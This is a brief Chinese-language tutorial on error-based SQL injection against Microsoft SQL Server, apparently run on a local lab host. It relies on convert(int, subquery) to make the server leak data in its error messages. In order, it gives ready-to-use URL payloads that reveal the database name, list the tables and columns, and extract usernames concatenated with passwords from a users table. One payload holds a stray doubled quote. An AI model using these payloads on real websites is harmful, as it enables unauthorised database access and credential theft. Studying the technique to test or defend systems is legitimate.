该注入的条件是必须有报错信息
用到函数convert(int,(select top 1 db_name() )),其含义是将第二个参数的值转换成第一个参数的int类型
一、打开文件,如下图所示,有报错信息:
二、查看数据库
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 db_name()));这里由报错信息可看到数据库的名字是”test“
三、查看数据库的表
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype='U''));可查看数据库的第一个表
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 name from test.sys.sysobjects where xtype='U' and name !='users'));可查看数据库的第二张表,依次类推……
四、查看对应表的字段
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 name from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id'));可查看该表对应的字段
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 name from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id' and name !='username'));可查看第三个字段,依次类推……
五、查看用户名和密码信息
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 username+password from users ));可查看第一个用户名和密码
输入:http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 username+password from users where username!='zs'));可查看第二个用户名和密码,以此类推……